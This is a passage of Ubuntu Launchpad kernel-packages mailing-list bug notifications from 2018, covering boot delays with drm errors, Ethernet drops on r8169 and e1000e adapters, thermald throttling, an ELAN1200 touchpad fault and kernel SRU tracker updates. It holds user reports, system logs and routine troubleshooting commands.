Public bug reported: 1,2) Please see the apport attachments 3) Fast booting without errors as with xenial non-hwe kernels 4) The booting is too long The errors are similar to this: [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [CRTC:41:pipe B] flip_done timed out [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [PLANE:35:plane B] flip_done timed out The errors appears on Toshiba Satellite L300-11Q. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-20-generic 4.15.0-20.21 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: LXDE Date: Fri Aug 3 20:34:23 2018 LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ru_RU.UTF-8 SHELL=/bin/bash SourcePackage: linux-signed UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: linux-signed (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic xenial-hwe -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-signed in Ubuntu. https://bugs.launchpad.net/bugs/1785326 Title: The booting is too long with drm_atomic_helper_wait_for_dependencies errors (xenial+hwe,bionic). Status in linux-signed package in Ubuntu: New Bug description: 1,2) Please see the apport attachments 3) Fast booting without errors as with xenial non-hwe kernels 4) The booting is too long The errors are similar to this: [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [CRTC:41:pipe B] flip_done timed out [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [PLANE:35:plane B] flip_done timed out The errors appears on Toshiba Satellite L300-11Q. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-20-generic 4.15.0-20.21 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: LXDE Date: Fri Aug 3 20:34:23 2018 LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ru_RU.UTF-8 SHELL=/bin/bash SourcePackage: linux-signed UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-signed/+bug/1785326/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1779817] Re: r8169 no internet after suspending
@Kai-Heng With this kernel version, unfortunately my network doesn't come up at all (even after fresh power on. Reloading driver does not help). -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1779817 Title: r8169 no internet after suspending Status in linux package in Ubuntu: Confirmed Bug description: When my computer wakes up from suspending, there's no internet. Unplugging and replugging cable doesn't work, restarting network service doesn't work also. Only after restarting the computer, internet comes back. It only started happening after I freshly installed Ubuntu Budgie (18.04) and did all the system updates. Before I was using Ubuntu with Unity (16.04) and there was no problems with my internet. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-24-generic 4.15.0-24.26 ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18 Uname: Linux 4.15.0-24-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: minihydra 2085 F pulseaudio /dev/snd/controlC0: minihydra 2085 F pulseaudio /dev/snd/controlC1: minihydra 2085 F pulseaudio CurrentDesktop: Budgie:GNOME Date: Tue Jul 3 10:13:19 2018 HibernationDevice: RESUME=UUID=3747bab8-c258-4600-bc24-5d1f56a642dd InstallationDate: Installed on 2018-07-02 (1 days ago) InstallationMedia: Ubuntu-Budgie 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) IwConfig: enp2s0no wireless extensions. lono wireless extensions. MachineType: System manufacturer System Product Name ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic root=UUID=a5ceb36e-76f7-4bd4-a37b-0b91b995c635 ro quiet splash vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-24-generic N/A linux-backports-modules-4.15.0-24-generic N/A linux-firmware 1.173.1 RfKill: SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/28/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2103 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: M4A77T dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2103:bd06/28/2010:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnM4A77T:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.family: To Be Filled By O.E.M. dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1779817/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785171] Re: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection
Maybe this additional information will help: *-network description: Ethernet interface product: Ethernet Connection (2) I219-V vendor: Intel Corporation physical id: 1f.6 bus info: pci@:00:1f.6 logical name: enp0s31f6 version: 00 serial: "removed" size: 1Gbit/s capacity: 1Gbit/s width: 32 bits clock: 33MHz capabilities: pm msi bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=e1000e driverversion=3.2.6-k duplex=full firmware=0.2-4 ip="removed" latency=0 link=yes multicast=yes port=twisted pair speed=1Gbit/s resources: irq:125 memory:df30-df31 dmesg | grep e1000e [2.404883] e1000e: Intel(R) PRO/1000 Network Driver - 3.2.6-k [2.415926] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [2.427096] e1000e :00:1f.6: Interrupt Throttling Rate (ints/sec) set to dynamic conservative mode [2.690764] e1000e :00:1f.6 :00:1f.6 (uninitialized): registered PHC clock [2.762812] e1000e :00:1f.6 eth0: (PCI Express:2.5GT/s:Width x1) 70:85:c2:7d:b6:b5 [2.762813] e1000e :00:1f.6 eth0: Intel(R) PRO/1000 Network Connection [2.762867] e1000e :00:1f.6 eth0: MAC: 12, PHY: 12, PBA No: FF-0FF [2.866293] e1000e :00:1f.6 enp0s31f6: renamed from eth0 [ 13.818417] e1000e: enp0s31f6 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: Rx/Tx Here's the logs from the NetworkManager service over the last few days. Aug 01 03:47:21 t2trvs01 NetworkManager[1358]: [1533109641.5958] manager: NetworkManager state is now CONNECTED_SITE Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.5981] device (enp0s31f6): state change: activated -> deactivating (reason 'user-requested', sys-iface-state: 'managed') Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.5986] manager: NetworkManager state is now DISCONNECTING Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6514] audit: op="device-disconnect" interface="enp0s31f6" ifindex=2 pid=2705 uid=1000 result="success" Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6517] device (enp0s31f6): state change: deactivating -> disconnected (reason 'user-requested', sys-iface-state: 'managed') Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6844] dhcp4 (enp0s31f6): canceled DHCP transaction, DHCP client pid 1840 Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6845] dhcp4 (enp0s31f6): state changed bound -> done Aug 01 03:47:23 t2trvs01 NetworkManager[1358]: [1533109643.6853] manager: NetworkManager state is now DISCONNECTED Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9943] device (enp0s31f6): Activation: starting connection 'netplan-enp0s31f6' (0fb5685d-476e-39b6-8090-4f5b35b00deb) Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9944] audit: op="connection-activate" uuid="0fb5685d-476e-39b6-8090-4f5b35b00deb" name="netplan-enp0s31f6" pid=2705 uid=1000 result="s Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9945] device (enp0s31f6): state change: disconnected -> prepare (reason 'none', sys-iface-state: 'managed') Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9946] manager: NetworkManager state is now CONNECTING Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9947] device (enp0s31f6): state change: prepare -> config (reason 'none', sys-iface-state: 'managed') Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9951] device (enp0s31f6): state change: config -> ip-config (reason 'none', sys-iface-state: 'managed') Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9953] dhcp4 (enp0s31f6): activation: beginning transaction (timeout in 45 seconds) Aug 01 03:47:30 t2trvs01 NetworkManager[1358]: [1533109650.9962] dhcp4 (enp0s31f6): dhclient started with pid 19238 Aug 01 03:47:31 t2trvs01 dhclient[19238]: DHCPREQUEST of 192.168.10.46 on enp0s31f6 to 255.255.255.255 port 67 (xid=0x1f78fd4) Aug 01 03:47:31 t2trvs01 dhclient[19238]: DHCPACK of 192.168.10.46 from 192.168.10.1 Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0423] dhcp4 (enp0s31f6): address 192.168.10.46 Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0424] dhcp4 (enp0s31f6): plen 24 (255.255.255.0) Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0424] dhcp4 (enp0s31f6): gateway 192.168.10.1 Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0425] dhcp4 (enp0s31f6): lease time 259200 Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0425] dhcp4 (enp0s31f6): nameserver '192.168.xx,xx' Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0426] dhcp4 (enp0s31f6): nameserver '8.8.8.8' Aug 01 03:47:31 t2trvs01 NetworkManager[1358]: [1533109651.0426] dhcp4 (enp0s31f6): nameserver
[Kernel-packages] [Bug 1785171] Re: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection
Thanks for the replies. The "Internet dropping" issue started as soon as I installed this complete new Ubuntu Server 18.04 on the ASRock z370m Pro4 motherboard. Then added the GNOME Desktop, and had to change the Ethernet network configuration to use Netplan and NetworkManager service. Note: I know the motherboard and the I219-V network interface work perfectly as the same new motherboard ran CentOS Server 7.4 (minimal) with an XFCE Desktop flawlessly for over a week. CentOS 7.4 uses NetworkManager service by default (unlike Ubuntu Server which does things very different than CentOS Server for the network connection. I only decided to try Ubuntu Server 18.04 to gain access to a package that had a newer version than CentOS Server had (CentOS focuses on stability over features and it shows). I can't use the upstream Ubuntu kernel for fear too much of my server setup (Nvidia graphics, etc) will break. I've already seen bugs in the Nvidia graphics driver from the Ubuntu PPA (a separate issue), so I don't want to add more issues to this Ubuntu server setup. This Ethernet interface dropping Internet connectivity network issue is all I want to focus on right now. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785171 Title: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection Status in linux package in Ubuntu: Incomplete Status in linux source package in Bionic: Incomplete Bug description: I've turned up many, many new server and workstation systems over the years on both Linux and Windows. Never seen anything like this behaviour I'm witnessing on Ubuntu Server 18.04 before where I simply lose Internet connectivity while using a browser. Ethernet interfaces usually either work or they don't work. I've configured the Intel I219-V Ethernet interface (wired Ethernet connection, there is no wifi on this system) using the e1000e driver for Ubuntu. The Ethernet connection is configured to use NetworkManager via Netplan on Ubuntu 18.04 LTS Server version. ASRock Z370m Pro4 motherboard. The Ethernet interface will drop the Internet connectivity when I'm using either the Firefox or Chrome browser. It usually happens when I'm using the search features of the browser. I can't figure out what would cause this type of behaviour. When the Internet connection drops, the only way to get back Internet connectivity is to disconnect the wired connection using the Ubuntu features and then re-connect (this restarts the NetworkManager service I notice). In the NetworkManager logs I do notice an "auth" error about a file or directory not found. I've never seen that before. Note: The auth error does not coincide with the loss of Internet connectivity, but it does proceed it. Often there can be many hours between the auth error and the actual loss of Internet connectivity. After I reconnect the connection (via re-starting the NetworkManager service) all will be fine for up to a day or so, but then I stress test it with a bunch of searches using the browser and usually I can get the Internet connectivity to drop again. Repeat the disconnect and reconnect process again (aka re-start NetworkManager) and the Internet connectivity will be fine again. The longest I've seen it go without an "Internet connectivity drop" issue is about 36 hours. I notice that the e1000e driver does not list the I219-V as a supported Ethernet interface in the Intel documentation for the Linux version of the driver. I'm not sure why that is. The I219-V is supposed to used another driver, but it's not clear there's a Linux version for of the driver for the I219-V. I'm really disappointed that I've run into this issue with Ubuntu Server LTS 18.04 on this motherboard. I had CentOS Server 7.4 (my standard server OS, a great Linux distro) on this same motherboard for a week with no issues, so I know the motherboard and the I219-V Ethernet interface are 100% good hardware wise and can work properly. CentOS 7.4 uses NetworkManager as the default for managing the Ethernet interface. The only reason I'm using Ubuntu Server 18.04 on this motherboard is because of a specific package that Ubuntu has a newer packaged version than CentOS. CentOS is extremely stable when it comes to basic server functionality. Hopefully, this bug with the I219-V Ethernet interface using the e1000e drive for Linux can be verified and a fix rolled out. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785171/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784310] Re: linux-kvm: 4.4.0-1030.36 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/certification-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/promote-to-proposed Status: Fix Committed => Fix Released ** Changed in: kernel-sru-workflow/regression-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/security-signoff Status: New => Confirmed ** Changed in: kernel-sru-workflow/verification-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/automated-testing Status: Confirmed => Fix Released ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1784302 phase: Uploaded + kernel-stable-phase:Promoted to proposed + kernel-stable-phase-changed:Friday, 03. August 2018 19:33 UTC ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1784302 - phase: Uploaded - kernel-stable-phase:Promoted to proposed - kernel-stable-phase-changed:Friday, 03. August 2018 19:33 UTC + phase: Promoted to proposed + proposed-announcement-sent: true + proposed-testing-requested: true -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-kvm in Ubuntu. https://bugs.launchpad.net/bugs/1784310 Title: linux-kvm: 4.4.0-1030.36 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux-kvm package in Ubuntu: Invalid Status in linux-kvm source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1784302 phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784310/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1600599] Re: Thermald is totally broken, or its default configuration is
Just had similar episodes as what is described here. My CPU apparently was close to overheating (though the maximum temperature I afterwards observed was 95°C, with a specified high/max of 100°C). The Ubuntu 18.04 on my laptop (Asus Zenbook UX301LA) consistently became unresponsive after starting high-cpu-usage tasks (compiling something using ninja-build); after stopping the thermald service, the unresponsiveness was gone even when running the high-cpu-usage tasks for a long time. The unresponsiveness is quite severe: Though I did manage one time to switch to the tty1 and log in there, I could never enter any more commands there (waiting for approximately a minute or so...). I eventually always had to resort to more harsh methods of restarting the laptop. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to thermald in Ubuntu. https://bugs.launchpad.net/bugs/1600599 Title: Thermald is totally broken, or its default configuration is Status in thermald package in Ubuntu: Fix Released Bug description: ** WORKAROUND**: shut down the thermald process completely. If your computer has an actual physical cooling fan and it's fully functional, you don't need thermald at all. I have Ubuntu 15.10 up to date with automatic updates and I never touched thermald configuration. This is on a laptop, which has an actual physical cooling fan (like most laptops). EXPECTED BEHAVIOR: as the CPU temperature increases, the fan should spin faster to keep the temperature from getting too high. ONLY IF, even with the fan at its full capacity, or approaching it, the temperature keeps growing, THEN that's when powerclamp and things like that should trigger, throttling the CPU, so that it doesn't burn (or shut down abruptly). Also, these kinds of CPU throttling should come in gradually as needed. That is, if you inject idle processes, you should inject just the minimum amount that is needed. For example, if the fan at its maximum speed is *almost* enough to keep the temperature below the threshold, but not *quite* enough, injecting just a small amount of idle time into the CPU should be enough to do that extra bit of cooling that is needed. You would barely notice it. It would not slow your system down a lot, unless the heating is *way* higher than the fan alone can fight. On a fully functional system (where the fan is enough to prevent the CPU from overheating and/or excessive CPU consumption does not occur in a huge degree for a long time), you shouldn't note any difference by shutting down thermald completely. Only on a system where the fan is not fully functional and/or hugely excessive CPU usage goes on for too long (actually, if the latter alone is enough to make it happen, it means that the fan is underdimensioned) would you notice the difference between having thermald (powerclamp and other CPU throttling mechanisms would kick in and prevent the temperature from becoming critical) and not having it (temperature would eventually go critical and something bad would happen, such as a sudden shutdown) OBSERVED BEHAVIOR When CPU temperature becomes high due to relatively high (not huge) CPU consumption, intel_powerclamp starts to kick in injecting idle processes and crippling the whole system. The observable result is that the system becomes unresponsive and unusable, yet the physical fan is sponning at roughly HALF of its maximum speed. So, you have a fast quad core machine, with a cooling fan that is perfectly capable of keeping the temperature down while using all the computing power that you require, BUT since powerclamp and things like that kick in too soon, you are limited to use a tiny fraction of the power your machine is capable of. To put it another way: you can't watch a f***ing youtube video in full screen because the whole system will become unresponsive. Even after removing and blacklisting the intel_powerclamp and intel_rapl kernel modules, the apparent behavior was practically the same, except that I wouldn't observe the "kidle_inject" processes by running "top". I guess there are other CPU-throttling mechanisms besides powerclamp and rapl. So now I have SHUT DOWN THERMALD completely, and my system behaves NORMALLY. The fan, of course, reaches higher speeds. Not even _much_ higher, which means that it needed just a little bit more speed to keep up with the heating. Powerclamp and other cpu throttling mechanisms were kicking in WAY too soon. It took me quite a long time to figure out that this was the problem. I just assumed that some bug was causing excessive CPU consumption for trivial stuff such as playing video (which is actually true but is not the whole story) and that the CPU consumption actually was causing too much heat for the fan to dissipate, making it necessary for powerclamp to kick in. Also, I thought my fan was probably filled with dust an
[Kernel-packages] [Bug 1778087] Re: ELAN1200 touchpad jumps around and disconnects
Right on. Yeah apparently there are two different models for this touchpad, AFAIK. Good to know you have the same. Then this bug report concerns you and feel free to add any helpful information. You might be right, it could have been nouveau trying to take over. I actually have nouveau blacklisted in grub. The blackscreen happened a long time ago for me (Can't remember what I did to fix it, I think it was nvidia driver update from nvidia.com and kernel update from kernel.org). Now I can actually reload i2c_hid if I do it all in one command, e.g. modprobe -r i2c-hid && modprobe i2c-hid . Without experiencing any black-screen. The next problem is the freezing/jumping around. Reloading i2c_hid did not fix the freezing or jumping around for me :/. Thanks for your contribution to make linux better! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778087 Title: ELAN1200 touchpad jumps around and disconnects Status in linux package in Ubuntu: Confirmed Bug description: This is on an ASUS GL503VD laptop and would probably affect other ASUS laptops equipped with the ELAN1200 touchpad. I am on Kernel 4.17.2 because older kernels did not enable the touchpad at all(It was just unrecognized or i2c-hid stopped the computer from booting) The touchpad works but it has erratic behaviour and disconnects randomly. After it disconnects the only way to bring it back is to `modprobe -r hid-multitouch && modprobe hid-multitouch` Libinput and synaptics can handle the touchpad though I found synaptics to be more stable. dmesg gets spammed with this whenever I move the touchpad: [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) I tried to compile: https://github.com/mishurov/linux_elan1200_touchpad Because from what I understand the "jumpy/disconnect" problem is associated to the incomplete reports and Mishurov managed to mitigate those. Unfortunately some symbols were deprecated in kernel 4.17.2 and it did not compile for my system. While I can use my touchpad as is right now, and "restart" it with modprobe when needed, it would be nice to have it function bug-free. (Right after I typed this my touchpad disconnected and I needed to modprobe again, I am considering making a cronjob for that) Let me know if anything else is needed. Will wait for an apport collection to add log files. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-10 (11 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778087/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778087] Re: ELAN1200 touchpad jumps around and disconnects
Dear Alistair, Many thanks for having me onboard! With regards to the touchpad model I can confirm that I have the same. I got the same spam in my dmesg [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) and that's how I came here in the first place. This was what gave me the idea to unload and load the module. Yes I can reload the module at runtime but I might know the reason for the black-screen that many experience. Is it possible that there is something going on with the Nvidia driver? Our difference is the card model (mine is the GTX1060 and yours is the GTX1050 if I'm correct) although I think there must be the driver in general (see below...although a bit off topic). At first, and before I realised the touchpad issue, I had black screens and errors by even trying to launch the Gnome tweak tool. I installed the Nvidia drivers from the "additional drivers" tab but realised that the process did not blacklist the nouveau driver (nothing relevant in my modprobe.d folder). I've managed to solve the problem by manually blacklisting the nouveau drivers by creating a blacklist-nouveau.conf file in modprobe.d including the following blacklist nouveau blacklist lbm-nouveau options nouveau modeset=0 alias nouveau off alias lbm-nouveau off ...I've seen this solution somewhere but don't have the link sorry... If you haven't done already try it...it might work. Again many thanks and sorry for the slight off topic. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778087 Title: ELAN1200 touchpad jumps around and disconnects Status in linux package in Ubuntu: Confirmed Bug description: This is on an ASUS GL503VD laptop and would probably affect other ASUS laptops equipped with the ELAN1200 touchpad. I am on Kernel 4.17.2 because older kernels did not enable the touchpad at all(It was just unrecognized or i2c-hid stopped the computer from booting) The touchpad works but it has erratic behaviour and disconnects randomly. After it disconnects the only way to bring it back is to `modprobe -r hid-multitouch && modprobe hid-multitouch` Libinput and synaptics can handle the touchpad though I found synaptics to be more stable. dmesg gets spammed with this whenever I move the touchpad: [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) I tried to compile: https://github.com/mishurov/linux_elan1200_touchpad Because from what I understand the "jumpy/disconnect" problem is associated to the incomplete reports and Mishurov managed to mitigate those. Unfortunately some symbols were deprecated in kernel 4.17.2 and it did not compile for my system. While I can use my touchpad as is right now, and "restart" it with modprobe when needed, it would be nice to have it function bug-free. (Right after I typed this my touchpad disconnected and I needed to modprobe again, I am considering making a cronjob for that) Let me know if anything else is needed. Will wait for an apport collection to add log files. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-10 (11 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778087/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784306] Re: linux-aws: 4.4.0-1064.74 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: Confirmed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1784306 Title: linux-aws: 4.4.0-1064.74 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux-aws package in Ubuntu: Invalid Status in linux-aws source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784306/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1752772] Re: r8169 ethernet card don't work after returning from suspension
For some reason my wired connection in 18.04 suddenly stopped working. Wifi was fine. I spend 24 hours trying everything to get it back, including factory resetting the router, changing network cables, and reinstalling Xubuntu many times. After fighting with Acer's buggy secure boot system I managed to get 18.04.1 installed but STILL no wired connection. I tried removing the driver module and adding it back but still no change. Then I tried suspending my laptop and waking it up. BINGO. Wired connection came on as it was supposed to. I don't know what the bug is but it hasn't been fixed and on my hardware at least Wired Connections are broken by default. Only after suspending does it seem to fix itself. Hope that helps devs. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1752772 Title: r8169 ethernet card don't work after returning from suspension Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: ===SRU Justification=== [Impact] Ethernet r8169 stops working after system resumed from suspend. [Test] User confirmed these patches fix the issue. r8169 continues to work after resume from suspend. [Regression Potential] Medium. The fix is limited to one device, all patches are in mainline. The WOL default change might cause regression for users that depend on BIOS settings. We can advice them to use userspace tool (systemd, ethtool, etc.) instead. ===Original Bug Report=== I have noticed that the network stopped working on my desktop after I've suspended the system and woke it up. On dmesg there are messages like: [ 150.877998] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready [ 150.944101] do_IRQ: 3.37 No irq handler for vector [ 150.944105] r8169 :01:00.0 enp1s0: link down [ 